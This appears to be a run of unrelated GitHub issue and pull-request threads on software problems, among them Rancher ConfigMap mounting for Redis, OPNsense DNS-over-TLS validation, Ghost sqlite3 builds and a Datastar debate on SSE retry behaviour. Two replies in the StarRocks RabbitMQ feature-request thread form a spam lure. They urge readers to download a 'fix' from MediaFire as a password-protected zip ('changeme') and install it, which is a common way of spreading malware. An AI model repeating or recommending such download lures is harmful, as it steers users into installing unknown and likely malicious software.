ConfigMaps not mapping Properly

Rancher versions:
rancher/server or rancher/rancher: 2.0.6
rancher/agent or rancher/rancher-agent: 2.0.5
Infrastructure Stack versions:
healthcheck:
ipsec:
network-services:
scheduler:
kubernetes (if applicable):
Docker version: (docker version,docker info preferred)
17.5.0
Operating system and kernel: (cat /etc/os-release, uname -r preferred)
Centos 7.5
Type/provider of hosts: (VirtualBox/Bare-metal/AWS/GCE/DO)
VM esxi
Setup details: (single node rancher vs. HA rancher, internal DB vs. external DB)
Single node master external DB
Environment Template: (Cattle/Kubernetes/Swarm/Mesos)
Kubernetes
Steps to Reproduce:
SETUP

Create a redis deployment using kubernetes/redis:v1 OR quay.io/smile/redis:4.0.2
Set the environment variable MASTER = true
Container launches successfully.

ConfigMap
Create a configmap of either
redis-configmap1
maxmemory 2mb
maxmemory-policy allkeys-lru
redis-configmap2
cluster-enabled yes
cluster-config-file node.conf

Edit Deployment
Volumes >> Add Mount >> ConfigMap

I can either choose all keys or select keys. When I choose all keys and put in redis.conf as the sub path to the /redis-master mount point. Redis can't start because the conf has an invalid declaration. This is because the redis.conf has only a single line in it.
EXAMPLE redis.conf <-- using redis-configmap2
yes
That's it. Rancher seems to only put the value and skip the key. Funny thing, if I change my configmap to be this.
KEY .                        VALUE
cluster-enabled       cluster-enabled yes
Then it will actually put the entire line cluster-enabled yes and redis will start. So that's an issue.
but not the MAIN issue here. Getting to that.
I tried "All keys"
It did the same thing, it updated the redis.conf with just the value and not the key.
BUTTT it's only updating the config with a single value from the configmap and ingoring all the rest.  That is the issue. Despite having 3 values in my config map, only one is being written to the file.
This could be a config issue on my side, but it also overwrites the entire file. it's not appending.
I can see in vanilla kubernetes that this works and my configmap redis-config looks like this.
apiVersion: v1
data:
redis-config: |+
maxmemory 2mb
maxmemory-policy allkeys-lru
kind: ConfigMap
metadata:
creationTimestamp: 2018-08-22T11:46:06Z
name: example-redis-config
namespace: default
resourceVersion: "1992"
selfLink: /api/v1/namespaces/default/configmaps/example-redis-config
uid: f455e7fe-a600-11e8-a761-080027b183b4
In rancher, it doesn't have that redis-config: |+ which is what I think is causing it to overwrite the file. Except when I edit the yaml to match somewhat, it just adds redis-config as a new key value.
Here is the rancher configMap where under data I have appendonly yes as the value so it actually puts the key and value and it's only putting one line in redis.conf "appendonly yes" Not the other three.
apiVersion: v1
data:
appendonly: appendonly yes
cluster-config-file: cluster-config-file nodes.conf
cluster-enabled: cluster-enabled yes
kind: ConfigMap
metadata:
annotations:
field.cattle.io/creatorId: user-d72bt
creationTimestamp: 2018-08-22T15:39:58Z
name: redis-cluster
namespace: ns-redis
resourceVersion: "4338534"
selfLink: /api/v1/namespaces/ns-redis/configmaps/redis-cluster
uid: 9ffb8d55-a621-11e8-924e-00505683c6b7
Results:
Not what I expected.
I read the docs and the next steps link takes me to deploying workloads. Which doesn't talk about configMaps. So I am a bit stuck here.

We don't do anything special, it's a native config map.  You're creating two very different things though,

redis-configmap1
maxmemory 2mb
maxmemory-policy allkeys-lru

Is I assume you putting those into 2 rows in the UI.  So that's a map with many keys for individual config options and their corresponding values.
The one you're saying does work is

redis-config: |+
maxmemory 2mb
maxmemory-policy allkeys-lru

Which is a single key named redis-config, and a single (multiline) value that happens to be config keys and their various values as a string

I created a configMap in kubernetes using a file as the datasource that had two entries in it.
maxmemory 2mb
maxmemory-policy allkeys-lru
The config map kubernetes produces for me has a single key and a multiline string as you mentioned.
When I add those two lines as separate entries in the Rancher UI. Each one being a key/value which makes sense to me. Rancher splits them up and doesn't work.  I can't imagine that the use case for configMaps was to simply allow a person to put a single entry into a single file while over writing it's contents.
Either way that poses the question:
How does one get a multiline string to appear in a config file via a ConfigMap that Rancher creates via the UI? Doesn't seem possible, unless I am totally missing something here.

I would expect the name of the config to be the key and the key/value pairs defined within rancher as a multi-string line associated with it.
So that I could apply all key value pairs to a config file. At the current moment it uses the key in key/value pairs as a key but forces you to put the actual "key/value" you want in the config file under the value. There also isn't a way to define a multiline string. I tried editing the yaml directly and it didn't work. Which leaves me with the ability to only add a single declarative value for a configuration in which the value defined in the ui is the actual key/value (confusing) This has be a defect right?

redis-config isn't the name of the config map, even in your working example (name: example-redis-config).  It's a config map named "example-redis-config" which contains one key "redis-config" which has a multi-line string value.  You cannot generate the same output as that using multiple actual keys and values instead of one.
The value field in the UI accepts newlines.  Just hit enter.

So this is what I did to get it to work. It's kind of a work around I guess.
redis-config
root@massimo-server:~# cat redis-config
maxmemory 2mb
maxmemory-policy allkeys-lru

Create a ConfigMap from the file above (correct format)
root@massimo-server:~# kubectl create configmap redis-config \
  --from-file=redis-config -n redis

configmap/redis-config created

Verify that the ConfigMap was created in the correct format.
root@massimo-server:~# kubectl get configmap redis-config -n redis -o yaml
apiVersion: v1
data:
  redis-config: |
    maxmemory 2mb
    maxmemory-policy allkeys-lru
kind: ConfigMap
metadata:
  creationTimestamp: 2018-09-07T23:27:50Z
  name: redis-config
  namespace: redis
  resourceVersion: "2924"
  selfLink: /api/v1/namespaces/redis/configmaps/redis-config
  uid: a2d6342f-b2f5-11e8-845e-1a5afddf1632

Now it's time to deploy a Redis workload.
Docker Image: kubernetes/redis:v1
Environment Variables: Master = true
Volumes ConfigMap:
  Volume Name: redis-config
  Config Map Name: redis-config
  Items: Select Specific Keys
    Key: redis-config
    Path: redis.conf
  Mount Point: /redis-master

Those are the settings that I configured when deploying the Redis workload. You can also confirm the output using kubectl.
root@massimo-server:~# kubectl get pod -n redis -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/podIP: <IP_ADDRESS>/32
    creationTimestamp: 2018-09-07T23:47:09Z
    generateName: redis-master-7d5b9cfd8b-
    labels:
      pod-template-hash: "3816579846"
      workload.user.cattle.io/workloadselector: deployment-redis-redis-master
    name: redis-master-7d5b9cfd8b-8wvgm
    namespace: redis
    ownerReferences:
    - apiVersion: extensions/v1beta1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: redis-master-7d5b9cfd8b
      uid: 55c467cf-b2f8-11e8-845e-1a5afddf1632
    resourceVersion: "4553"
    selfLink: /api/v1/namespaces/redis/pods/redis-master-7d5b9cfd8b-8wvgm
    uid: 55cabc5b-b2f8-11e8-845e-1a5afddf1632
  spec:
    affinity: {}
    containers:
    - env:
      - name: MASTER
        value: "true"
      image: kubernetes/redis:v1
      imagePullPolicy: Always
      name: redis-master
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        privileged: false
        readOnlyRootFilesystem: false
        runAsNonRoot: false
      stdin: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      tty: true
      volumeMounts:
      - mountPath: /redis-master
        name: redis-config
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: default-token-bxbmz
        readOnly: true
    dnsPolicy: ClusterFirst
    nodeName: massimo-server
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 256
        items:
        - key: redis-config
          path: redis.conf
        name: redis-config
        optional: false
      name: redis-config
    - name: default-token-bxbmz
      secret:
        defaultMode: 420
        secretName: default-token-bxbmz
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: 2018-09-07T23:47:09Z
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: 2018-09-07T23:47:19Z
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: 2018-09-07T23:47:09Z
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: docker://ff14b309c1c6e1330f2ba26511fd427032a59cdfcc31d961b2ceec03f9fc794d
      image: kubernetes/redis:v1
      imageID: docker-pullable://kubernetes/redis@sha256:8da3f7cbe05e3446215a6931f1c125c38bde03383145fcc3292319bab5b1a6cf
      lastState: {}
      name: redis-master
      ready: true
      restartCount: 0
      state:
        running:
          startedAt: 2018-09-07T23:47:19Z
    hostIP: <IP_ADDRESS>
    phase: Running
    podIP: <IP_ADDRESS>
    qosClass: BestEffort
    startTime: 2018-09-07T23:47:09Z
kind: List
metadata:
  resourceVersion: ""
  selfLink: ""

Using v2.0.7, I was able to add a multiline ConfigMap using the UI as @vincent99 described.
Talking with @massimo-cannavo, this was broken in v2.0.6 but is now fixed in v2.0.7.

I went from 2.0.6 to 2.0.8 and the issue still persists.
I have a redis-config with multilines.

Then I have attached it to the deployment.

When I start redis I get this error.

That is indicating that it's taking "cluster-enabled yes" not as a key value but as a single key without a value and the error messages wraps it in quotes as if it's a single string.
Am I missing something here?

I tried for the heck of it, commenting out the values in the config.
#cluster-enabled yes
etc
etc
and it worked, it added it to the redis.conf. Since it was commented out it all looks fine.

but if I don't comment it out, I get the error I got above.

I tried it without the directive cluster-enabled yes and it all works just fine. So you can DISREGARD THIS.
Thanks for the help.


Starrocks Support Routine Load with RabbitMQ

Feature request
Is your feature request related to a problem? Please describe.
given RabbitMQ #2 ranking in queueing/message software market share, it's worth to add the routine load support.
Describe the solution you'd like

Describe alternatives you've considered

Additional context

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Yes, it worth IMO. Maybe you can give some design and implementation :)


Fix sqlite3 for non-amd64 arches

Closes #98
See also https://github.com/TryGhost/Ghost/pull/7677 for more details (which is the PR which moved sqlite3 into optional dependencies upstream, and has some good discussion around that move).
Basically, the complexity of this PR is exactly why they made this dependency optional in the first place, but given that we use it as our default driver, we kind of need to have the default image run as-is on all platforms we support. :smile:

I've built this on arm64v8 and verified that the ghost-basics test from https://github.com/docker-library/official-images/blob/979121e1609b68b7820fc4de2c525038ee4d6b8c/test/tests/ghost-basics/run.sh completes successfully (which isn't true of our existing ghost:1 image on arm64v8).


Magic Storage - Extra : All recipes disappear

When using Magic Storage - Extra upon first opening of the crafting terminal all recipes show up, but after a certain number of crafts (the number seems random, but for me normally occurred after 2-3 crafts) all recipes disappear. This issue is solved by closing the terminal and opening it again or sometimes (very unreliably) by removing a random crafting station from it's slot and placing it back it.
At first the recursion threshold was at -1 (so, infinite as I understand), yet after setting it to 0 (the same as vanilla I presume) the issue was still there and only by uninstalling RecursiveCraft was the issue fixed.

This is a Magic Storage issue.
Post it there for me MagicStorageExtra

Okay, thank you


TLS validation does not work in Unbound DNS over TLS (DoT)

Important notices
Before you add a new report, we ask you kindly to acknowledge the following:

[x] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[x] I am convinced that my issue is new after having checked both open and closed issues at https://github.com/opnsense/core/issues?q=is%3Aissue

Describe the bug
TLS validation in Unbound DNS over TLS (DoT) does not work. The server answers even if the hostname is wrong.
To Reproduce
Steps to reproduce the behavior:

I installed OPNsense on a virtual machine with 2 network interfaces and basically set everything to default.
After installation I enabled DNSSEC and DoT, but I typed wrong domain name in the DoT configuration to test it out.
To my surprise the server replied without errors.

Expected behavior
Reject invalid certificates.
Describe alternatives you considered
A clear and concise description of any alternative solutions or workaround you considered.
Screenshots
If applicable, add screenshots to help explain your problem.

Relevant log files
If applicable, information from log files supporting your claim.
Additional context
Add any other context about the problem here.
Environment
Software version used and hardware type if relevant, e.g.:
OPNsense 22.1.4 (amd64, OpenSSL).

For comparison this is what Unbound on Debian would return if the DoT hostname didn't match.

@oittaa we should first make sure unbound actually had the correct configuration and was restarted (apply button). Does the /var/unbound/etc/dot.conf file contain the correct information?

    I just restarted the virtual machine, put logging to level 4, and tried to query reddit.com and the DNS server replied again with A records even though it should have rejected.

But now while writing this message I tested to query nos.nl like @swhite2  had in his example and it got rejected properly. gmail.com and google.com are also rejected correctly even though they returned A records previously. reddit.com still returns A records, so maybe these are coming from some cache?

Unless Unbound->General->DNS Cache Flush is checked, the system will reload an existing cache - this behaviour is not the default mode for Unbound.
Most likely reddit.com reached a TTL timer so a new query was done, at this point it would adhere to the certificate check. This is assuming you already did a query at some point without pressing 'apply'.
You can manually flush the cache by running configctl unbound cache flush.

Unless Unbound->General->DNS Cache Flush is checked, the system will reload an existing cache - this behaviour is not the default mode for Unbound.

This probably confused me, since for example the default config on Debian just flushes the cache if you restart the service. I think the issue can be closed. Thanks for the help.

Context: a number of people complained about cache flush in Unbound restart over the years. Cache retain was introduced by default in 21.7, but can be disabled like described.


Feature request - add search / browse

I have installed a couple of insanely useful tools - but can't help feeling that there are others out there that I don't know about, would love some kind of discovery mechanism.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: f0c5b03c-2854-8462-57dc-b0239388096e
Version Independent ID: 13b38200-ed54-7bfe-f7cf-099cf1b010f4
Content: .NET Core Global Tools
Content Source: docs/core/tools/global-tools.md
Product: dotnet-core
GitHub Login: @KathleenDollard
Microsoft Alias: mairaw

Thanks, @TimJarvis, for your feedback. A list of available global tools would indeed be useful. There may be something in the works.
@livarcocc  @KathleenDollard should we move this issue to another repo?

@TimJarvis
I'm a PM on the .NET Team.
We agree!! We hope to do this and are frustrated that it isn't done yet. Sadly it will be a while longer before we can align the work to complete this.
In the meantime, people can self-register tools here:
Feel free to create issues on dotnet-cli when you encounter frustrations.

Hi Kathleen,
Great to know that it's planned.
Cheers Tim Jarvis.
On Wed, Oct 17, 2018 at 8:42 AM Kathleen Dollard<EMAIL_ADDRESS>wrote:

@TimJarvis https://github.com/TimJarvis
I'm a PM on the .NET Team.
We agree!! We hope to do this and are frustrated that it isn't done yet.
Sadly it will be a while longer before we can align the work to complete
this.
In the meantime, people can self-register tools here:
https://github.com/natemcmaster/dotnet-tools
Feel free to create issues on dotnet-cli
https://github.com/natemcmaster/dotnet-tools when you encounter
frustrations.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/dotnet/docs/issues/7923#issuecomment-430411533, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAt_vNGGnO5ELuoo_53dm60wzlBD69liks5ullLUgaJpZM4W7rPY
.

Thanks @KathleenDollard. We'll close this doc issue then.


Rules code clarification

Hi,
Let's say a rule removes a field from the UI based on a condition. When that condition is no longer satisfied, how does the library know to append the field that was previously removed?
Hope it makes sense.

how does the library know to append the field that was previously removed?

Component watches the inputs and recalculates the state after the changes were detected. It does not append separate fields but re-renders the form according to the rules.


add license

nit: it seems the de facto standard name is LICENSE.md (or LICENSE.txt): https://help.github.com/articles/open-source-licensing/

Merged: https://github.com/openiddict/core/commit/1a007ecb472581c85dadaa9a0390b3d6760b4fab :+1:


Framework fixes

adds netframework 4.7
adds netstandard 2.0
adds netcore 2.0

Changes look good. Besides fixing the tests the only question from me is why we need the new CompatibleUpto members (as they are not used within this PR)?

/// TODO: some notion of an increasing/decreasing sequence of FrameworkIdentitifers, so that Between(bottom, top) constraints can enumerate the list
FrameworkHandling.fs

@cloudRoutine Sorry I don't get it :)
Regarding #2245 one way I usually handle this is either adding an integration test (if you are lazy) or add a test to ProcessingSpec (which is simpler imho). I guess this broke in one of the commits preferring net45 over netstandard...

If you are OK with waiting I can try to fix that as part of the FAKE vnext compatibility changes I'm currently working on.

I gotta fix this ASAP, it's broken FSharp.Editing =(

@cloudRoutine OK a test in ProcessingSpec which tests first if ApplyFrameworkRestrictions works and then checks if GetLibReferences works should help you there (just look at some of the exsiting tests)... Let me know if it doesn't...

(Usually I use the VS debugger to easily identity the root cause after writing the test)

@forki this is done

Thx will release on Wednesday


Network interface documentation enhancements

Codecov Report

Merging #13525 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #13525   +/-   ##
=======================================
  Coverage    52.5%    52.5%
=======================================
  Files         318      318
  Lines       46527    46527
  Branches    10755    10755
=======================================
  Hits        24429    24429
  Misses      17199    17199
  Partials     4899     4899

Impacted Files
Coverage Δ

include/net/net_if.h
57.89% <ø> (ø)
:arrow_up:

include/net/ethernet.h
62.5% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 40b63e5...73a8bc8. Read the comment docs.

Updated according to comments.
@nashif sanity will complain about complex macros and while loops. This is false positive in this case.


Cannot find type declaration file  '@types/rollup-plugin-babel'

Cannot find type declaration file
'@types/rollup-plugin-babel'

That's because this package doesn't exist. We plan to convert rollup-plugin-babel to TS in the future, so it should come with types included - but for now, I'm closing this issue.


Update col-length-transact-sql.md

Text revisions to tighten and optimize the reading flow of the material.

@fbsolo : Thanks for your contribution! The author, @edmacauley, has been notified to review your proposed change.


Fixed "Message being edited is cancelled on pressing any key"…

While editing a message, setting input to empty string was causing edit box disappear.
Details

ReportActionItemMessageEdit component is rendering when draft is not an empty string. So we saved original message as a draft when user delete everything from the textarea. This fixed main problem.
debouncedSaveDraft was not getting last changes. Changed function to use its parameter, removed last parameter of binding of _.debounce to debouncedSaveDraft. So it takes last changes now.
Cancelled debouncedSaveDraft, it was causing another bug when you type and press enter in 1s (debounce duration).

Fixed Issues
$ https://github.com/Expensify/App/issues/6155
Tests | QA Steps

Right click on a comment.
Click edit comment.
Remove all text.
Wait more than 1 second.
Be sure textarea is not disappearing.

Tested On

[x] Web
[x] Mobile Web
[x] Android

Screenshots

Web
https://user-images.githubusercontent.com/1279379/142645826-462e0209-06de-471f-8c12-a0b519c8266c.mp4
Mobile Web
https://user-images.githubusercontent.com/1279379/142731426-53035901-4299-4668-bfe6-f5e473b99b24.mp4
Android
https://user-images.githubusercontent.com/1279379/142730254-1e5efcd2-dd23-4257-a582-ee0ba03deaf8.mp4

I have read the CLA Document and I hereby sign the CLA

Thanks @parasharrajat. I'll add test and q/a steps asap.
About the videos, I recorded one for android and I can record one for mobile web but since I don't have access a mac I'll not be able to record ios and desktop videos. Will be this 3 videos enough?

Thanks @kursat .
For other question, it's not my call. Although I think it's fine.

Thanks for the enlightenment @parasharrajat, @tgolen is this ok?

Thanks @parasharrajat. I'll add test and q/a steps asap.
About the videos, I recorded one for android and I can record one for mobile web but since I don't have access a mac I'll not be able to record ios and desktop videos. Will be this 3 videos enough?

Hey @tgolen, this PR is not merged for a while, is there something wrong?

Hey, no problem and sorry to bother you. I hope you had a good vacation :)
It's my first PR, and I am trying to figure out how things work. So I am a little nervous. Should I do something to merge this PR?
That's a great idea, I'll do that next time.

In other cases where there might be something platform specific, reaching out to the slack channel to see if someone can test out the branch and record it for you might be a good route to try.

Should I do something to merge this PR?

Ah, no. That's my bad. I was waiting for @parasharrajat to approve because I saw he did a partial review and when there are multiple reviewers, it's good to wait until everyone has approved. However, I think Rajat was really just doing a process-check and not really a code review, so I will merge this.

@kursat, Great job getting your first Expensify/App pull request over the finish line! :tada:
I know there's a lot of information in our contributing guidelines, so here are some points to take note of :memo::

Now that your first PR has been merged, you can be hired for another issue. Once you've completed a few issues, you may be eligible to work on more than one job at a time.
Once your PR is deployed to our staging servers, it will undergo quality assurance (QA) testing. If we find that it doesn't work as expected or causes a regression, you'll be responsible for fixing it. Typically, we would revert this PR and give you another chance to create a similar PR without causing a regression.
Once your PR is deployed to production, we start a 7-day timer :alarm_clock:. After it has been on production for 7 days without causing any regressions, then we pay out the Upwork job. :moneybag:

So it might take a while before you're paid for your work, but we typically post multiple new jobs every day, so there's plenty of opportunity. I hope you've had a positive experience contributing to this repo! :blush:

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by @tgolen in version: 1.1.17-8 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by @roryabraham in version: 1.1.18-3 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Correct no_proxy to include cluster id

Fixes #62
Signed-off-by: Yussuf Shaikh<EMAIL_ADDRESS>

@yussufsh can you please split this into two separate PRs

@yussufsh can you please split this into two separate PRs

Filtered.


Port sample 17.multilingual-bot to Adaptive Dialogs

Fixes #2770
Also addresses the customer reported issue #2837.
The ported sample adds also translation for Hero Cards and SuggestedActions.

@johnataylor please review.

Can we move this to main branch and # 117?
This adds immediate value, in that it provides a solution to a customer reported issue.

Changed to sample 117. Moving it to the main branch.


Organizational standards of password reuse policies.

Components shall provide, or integrate into a system that provides, the capability to protect against any given human user account from reusing a password for a configurable number of generations. In addition, the component shall provide the capability to enforce password minimum and maximum lifetime.

Suggested STIGs:

V-26561
V-26117
V-214961

Suggested tests from VDO-Patterns:

V_214961


Confusion around colour coding in documentation

The colour coding used in the contour plots seems confusing to me. Looking at the documentation https://scikit-optimize.github.io/notebooks/visualizing-results.html , this plot here

suggests that low values (and hence minima) correspond to dark colour and high values to light colours. Just a bit further down, the following image

describes the search of the algorithm for these minima where clearly low values seem to correspond to light colours.
Maybe the colour coding should be mentioned in the documentation and the partial dependence plots possibly annotated just like in the image above for further clarification.

Good point. Do you want to make a PR updating the example notebook to use an inverted colour map?


Indicate when you've left a commit "in review" for too long

Like the old Review app did.
A simple solution without writing JS could be to have a timer running e.g. every minute in the LiveView, setting a virtual column to "overdue" or something for overdue commits, then unsetting it when abandoning the review or marking it as reviewed.

Looking at the Review app code. It considers "too long" to be "over 15 mins".
It's not clear to me so far how it checks this – if there's some timer or if it just checks it on each UI update or something.


Client starts looping requests when response is malformed or not sse

So I've noticed that if I make mistakes in my sse events and data-star cant understand them, it will start looping the original request without end. This also happens if the server responds with something else than sse. I'm thinking this is related to the reconnect handling needed to be able to handle initiating sse requests from a post like mentioned in https://data-star.dev/docs/streaming_backend#sse-backend-fetch-on-the-frontend
I think this behavior is a bug but maybe it's working as intended ? It sure is annoying though, since the requests will keep looping until I reload the client and that means I lose the network inspection logs.

It's part of the SSE retry contract, BUT if you see that then please debug the backend plugin and let's get better docs in the form of throwing better/specific errors.

@Superpat are you still seeing this or can we close this issue?

Keep it open, I havent had time to investigate and I'd really like a better understanding of when datastar retries.
-------- Courriel d’origine --------
De : Delaney @.>
Envoyé : 17 juin 2024 12 h 37 min 19 s HAE
À : delaneyj/datastar @.>
Cc : Patrick Marchand @.>, Mention @.>
Objet : Re: [delaneyj/datastar] Client starts looping requests when response is malformed or not sse (Issue #28)
@Superpat are you still seeing this or can we close this issue?

Might try latest, 0.15.3. I've updated the expression eval to have more explicit error handling

bump @Superpat

@delaneyj I noticed the same. If the client makes the request and server returns 404 (or probably any non 2xx), the client starts looping, which feels incorrect as it breaks HTTP.

@blazmrak it's a valid point. Do you have any suggestions for the message?
<pipy>Hey I notice you 404 your own site, probably didn't mean to do that!</pipy>

https://www.youtube.com/watch?v=Nn_LLLyMwAs

I suggest giving up and being quiet/logging something into the console :smile:
I thought about it a bit more and I'll just put this out there as a food for thought:
I don't think SSE has many benefits and is being more abused than anything, as it serves just as a glorified "array of objects" serialization format - for the vast majority of cases it could have just been a sync HTTP that returned JSON (e.g. {type:string,fragment?:string,...}), which would complete the circle and have the r/htmx malding :rofl: But it still solves the issues HTMX has with OOB and client state, and the custom SSE implementation thing, as you could just use browser's SSE components, because you would not need methods other than GET. You would still have the same core and functionalities with both, just $get would become $sse or something. Am I crazy for thinking this?

I suggest giving up and being quiet/logging something into the console 😄

It's an invariant case, either you need to be loudly asserting or retrying.  Quiet seems to me to be the worst option

I don't think SSE has many benefits and is being more abused than anything, as it serves just as a glorified "array of objects" serialization format

This is just not true.  The point of it is it allows streaming of response instead of paying for round-tripping every message.  For latency sensitive apps this halves the response times at least.

for the vast majority of cases it could have just been a sync HTTP that returned JSON (e.g. {type:string,fragment?:string,...}), which would complete the circle and have the r/htmx malding 🤣

If you think polling is better than on-demand push we will have to agree to disagree.  SSE is a superset of what a normal HTTP response can do.

But it still solves the issues HTMX has with OOB and client state, and the custom SSE implementation thing, as you could just use browser's SSE components, because you would not need methods other than GET.

You are now having multiple ways of doing thing, each with less functionality than what already exists.

You would still have the same core and functionalities with both, just $$get would become $$sse or something. Am I crazy for thinking this?

IMO, yes.  If you want lot of ways to solve a problem, a focus on 0-1 message support only, only being able to stream on GET then the best options are

Do HTMX + (Alpine+hyperscript+vanilla)
Writing your own Datastar plugins with the HTMX paradigm.  Datastar actually started with these plugins, but I never committed it.  Found a better way to support all ways in a single interface.   @Superpat has talked about making them, but I personally think it's step back.  SSE on the server cost no more than any other response.

It's an invariant case, either you need to be loudly asserting or retrying. Quiet seems to me to be the worst option
Yes and no. It's a bug on the server, the worst option is to blow up the client imo. Maybe there can be an event emitted, that the developer can implement to display a popup or sth, but it would be similar to browsers blowing up on invalid HTML. It's just not good user experience. Maybe exponential backoff with max retries can be implemented, to prevent spamming the server? But even this would have to be done in a way, where it is seen as request being constantly in progress until max retries are reached, only then you would show that it errored out.

Just a disclaimer, before I address the other points, the JSON thing was a bit tongue and cheek. I thought about it a bit more, and the issue is not that much with SSE, but with client behavior I think. I hope that I didn't come off as entitled/demanding of a change, as it is the last thing I want. I know that this is not my project and that I can fork it if I don't like it :sweat_smile:

This is just not true. The point of it is it allows streaming of response instead of paying for round-tripping every message. For latency sensitive apps this halves the response times at least.

Am I misunderstanding HTTP? Can't HTTP responses be streamed as well? Also, When client makes the request, it usually gets just one response back, unless there is something on the server that is constantly updating in the background. But the examples all show calling res.end() in the same handle. Although thinking about it a bit more, JSON is probably not the serialization format to choose for this and anything else would be just reimplementing SSE :sweat_smile:

If you think polling is better than on-demand push we will have to agree to disagree

I'm not talking about polling, but there are not many cases, at least not from the official examples (and my experience, but I guess your work might differ, as you built this for a reason), where you have long lived streams. There could be one for notifications, and maybe if you have some dashboard where you update the values live, but for every action on the client, a new request has to be made to the server anyways.

You are now having multiple ways of doing thing, each with less functionality than what already exists.

True, but the counter argument is that the intent is clearer. SSE has the intent of staying open and receiving a constant stream of events essentially as long as the client is open.

SSE is a superset of what a normal HTTP response can do.

It might be just a language thing, but SSE is a subset (it has all the rules of HTTP + a bit more) - something can be HTTP but not SSE, but if it is SSE, then it is 100% HTTP :nerd_face:

a focus on 0-1 message support only

It wouldn't be a focus on 0-1 message. It would be the same as it is now, it can even be the same format, but it would be 1 action on the client makes one request, if request fails, that has to be handled on the client and not retried automatically ad infinitum. I haven't checked the code, but are POST requests also retried? If they are, it's maybe risky?
The retries are probably the biggest surprise here, especially if the server responds in an unexpected way. Imo automatic retry should be done only if the connection cannot be established or has unexpectedly died. Because if request is idempotent, there is no reason for you to assume that the second time will be any different and if it isn't, you probably don't want to retry it anyways.
Like I said, this is just my opinion. I think you did an amazing job with this library and it brings a ton of quality of life improvements when developing from the server.

Just a disclaimer, before I address the other points, the JSON thing was a bit tongue and cheek. I thought about it a bit more, and the issue is not that much with SSE, but with client behavior I think. I hope that I didn't come off as entitled/demanding of a change, as it is the last thing I want. I know that this is not my project and that I can fork it if I don't like it 😅

No worries, I'm happy to have the discussion.  Also this is good for posterity for another interested in my current mindset.  I've been living with this for quite a while at this point and happy to defend the ideas.

Am I misunderstanding HTTP? Can't HTTP responses be streamed as well?

So SSE is HTTP streaming.  Normally HTTP streaming is for binary content like video, SSE declaring your intent to do be that with a plain-text response.

Also, When client makes the request, it usually gets just one response back, unless there is something on the server that is constantly updating in the background.

That the key point.  You are making the assumption it gets one thing back.  It could be 0 (nack/ack) 1(success/fail) or a stream of N+ updates.  The focus on the "normal" is the key place where we disagree.  If I have one way to do things, its smaller, faster, less bug prone.  The desire to constrain it is a human issue, not a machine one.

But the examples all show calling res.end() in the same handle. Although thinking about it a bit more, JSON is probably not the serialization format to choose for this and anything else would be just reimplementing SSE

:point_up:  most of the basic examples are ports of HTMX examples, so you send back a simple response.  But for example the progress update one uses a single GET where as the HTMX example has to poll.  IMO, polling is a code smell for bad design when push based is available and especially when it's the same cost.   Look at the DBMon example and try to do that in HTMX.  You may not need that kind of interaction, but I do, and if you can make it scale from simple to real-time with no logical change I'm on board.

It wouldn't be a focus on 0-1 message. It would be the same as it is now, it can even be the same format, but it would be 1 action on the client makes one request, if request fails, that has to be handled on the client and not retried automatically ad infinitum. I haven't checked the code, but are POST requests also retried? If they are, it's maybe risky?

It's part of the SSE contract, if you fail you retry.    Again if its a "normal" POST then you'd expect 0-1 responses.  But if you are sending a command that can effect multiple systems (say a multi-stage ETL or disributed build system) your definitely want to see partial success back instead of a pass/fail at the end.

Like I said, this is just my opinion. I think you did an amazing job with this library and it brings a ton of quality of life improvements when developing from the server.

Happy to pay it forward.  I'm still :100: open to a stop the world assert if you 404 but that can happen in a real-time system, especially with hot-reloading.  Currently I'm less concerned with the "initial vibes" of the SSE and more the robustness it's giving me solving large scale real-time problems.  If you are interested I'd be happy to talk more about something like $$hxGet $$hxPost as plugins.  I can see the value if you want to stay in that paradigm, I just think it's a step back after living with this for over a year.


Undo June 20 commit to preSolve AgentType because it breaks things

@pkofod's commit on June 20 broke the KrusellSmith notebook among others -- this PR removes the lines that caused the problems (and also the functionality that they were intended to accomplish).  We need to revisit.

Is there an issue to reference? How did it break? I guess I can just add the lines back and check myself.

No, that was written by Pablo's student Jan.   I've also had trouble finding Karsten's thing; I'll email him.


Fix for : NullReferenceException: Object reference not set to an instance of an object at Klak.Spout.Blitter.GetMaterial

NullReferenceException: Object reference not set to an instance of an object
  at Klak.Spout.Blitter.GetMaterial (Klak.Spout.SpoutResources resrc) [0x0000d] in <7fe4b2887b084643bde251e32ad9b866>:0
